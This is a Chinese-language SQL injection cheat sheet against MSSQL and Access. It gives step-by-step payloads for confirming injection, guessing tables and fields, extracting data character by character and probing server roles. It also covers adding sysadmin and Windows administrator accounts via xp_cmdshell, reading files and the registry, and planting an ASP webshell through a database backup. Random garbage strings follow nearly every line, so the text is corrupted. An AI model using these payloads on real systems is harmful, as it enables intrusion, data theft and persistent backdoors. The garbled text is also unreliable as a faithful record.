1.判断是否有注入;and 1=1 ;and 1=2 -/B*\X[
2.初步判断是否是mssql ;and user>0 w AdaP9h
s!D?%
3.注入参数是字符'and [查询条件] and ''=' xh<{lZ)KJ
3HR)H-@6@7
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1x/ R
8kd):gZKZ
5.判断数据库系统 Hsov0
(6H7?nv
;and (select count(*) from sysobjects)>0 mssql ('uUf!h?\
P!j*4t
;and (select count(*) from msysobjects)>0 access l{?9R.L
|'o<w
]hc
2YQBw,gG
mW[w4J+7P
6.猜数据库 ;and (select Count(*) from [数据库名])>0 IcqzMmb
Q;y4yJ$wI
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5>e<|@2
X
YsiH=x
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 vKPLh
%RwWyzm#\
9.(1)猜字段的ascii值(access) n/BoK6g
xi<}n#
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ['>r tV
Zs0;92WL
(2)猜字段的ascii值(mssql) Zn*W2s^^{
WHjJR
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 XmVst*2=
`z/p,. u
10.测试权限结构(mssql) N5#j}tT
RvU'8Y?>w
D'D IC
v13\y^t
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Mw+
l>92
6_rgRo&
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- JX>`N5s
j~+(#|
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- @kT@IQkri
}43qpJe8U
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- vz:VegS
MR@Qn[RdM
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- EN}4-P/5
KL(sVj^e
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- >x~Qa@s;
A'u]z\&%c
;and 1=(select IS_MEMBER('db_owner'));-- tK+JmbB\
?hp,h3s;n$
M0vX9;J
!xg10N}I
11.添加mssql和系统的帐户 09Q5gal
"~K ph0-
;exec master.dbo.sp_addlogin username;-- >wYmx4W>
;exec master.dbo.sp_password null,username,password;-- ns/*WH&[x
|{%$x^KyJ
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- *cXi*7|=
6I_4{
;exec master.dbo.xp_cmdshell 'net user username password cV`NQt <W
v$;URF%^
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ,k@iNid
7''iT{-[p
;exec master.dbo.xp_cmdshell 'net user username password /add';-- c&<Ei1
BG4TUt
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- l\m7~
vy-(:aH7U
R:^jQ'1
}U}ppq0Eo
12.(1)遍历目录 BOdlz#&s
NUh%\{
;create table dirs(paths varchar(100), id int) NP!LBB)=Y
g>b{hkIXg
;insert dirs exec master.dbo.xp_dirtree 'c:\' 931GJA~g
o~xGE 6A*"
;and (select top 1 paths from dirs)>0 d?/g5[
pma=*
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) R$eEW"]
Q!AGalP z
(A?w|/bZd
0}:Wh&g
(2)遍历目录 9RK.+2
I&&;a.
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- MQ'=qR
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 }-Nc}%5
i\4YT r,
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 S%G&{5
;D(6Gy9~
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .F _u/"**
NJ$Qm.S
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 f&Sovuuh
#z*,-EV|
4z OFu/l6R
UQb|J9HY4
13.mssql中的存储过程 #>z !ns
;c@B +RquR
xp_regenumvalues 注册表根键, 子键 I34
1s0
uaLjHR0
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8|!"CQJ|H
(Dba!zSs
xp_regread 根键,子键,键值名 XZTH[#MqeI
KfC{/J\
;exec xp_regread mZnsr@KF
eG dFupfz
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ).tTDZ
h>z5m
xp_regwrite 根键,子键, 值名, 值类型, 值 z_(4
>@-BZJg/k
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
z'5
8&1xb@Nc7
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 }_+) :<Db
ij}{H#0S-
xp_regdeletevalue 根键,子键,值名 <)L[V
'RQEktm
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 &EC8{.7
4~vn%O6n
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 %Go/\g
2c*}1
_
Q}
-YD.bx3
Uw)B(;Hy?
14.mssql的backup创建webshell :o:/RR p[
O/&Qzt
use model #! (2@N8
I;{Ua*
create table cmd(str image); IFt aoK
9T2y2d!X
insert into cmd(str) values (''); <#./q LSR
3CSwcD
backup database model to disk='c:\l.asp'; A(+V{1L'
Hm~.u.)\.
Ga
<=Di):
;hd%wmE
15.mssql内置函数 !xU\s'I+#
#=F{G4d)!=
;and (select @@version)>0 获得Windows的版本号 8SupoS
uy|]@|J
;and user_name()='dbo' 判断当前系统的连接用户是不是sa (3j f_
BY$L[U;@T
;and (select user_name())>0 爆当前系统的连接用户 I5Rd~-="G
)~w
bu2;
;and (select db_name())>0 得到当前连接的数据库 )L"J?wTe
_~y-?(46K
|g<l|lqz|
LZJFp@
16.简洁的webshell <yw=+hz[u
M'NOM>8
use model 1CUI6@Cz)
>GDf*
ox[
create table cmd(str image); vU#>3[aC
)<5hga][~a
insert into cmd(str) values (''); 0/~{,
9G[t
& r
backup database model to disk='g:\wwwtest\l.asp';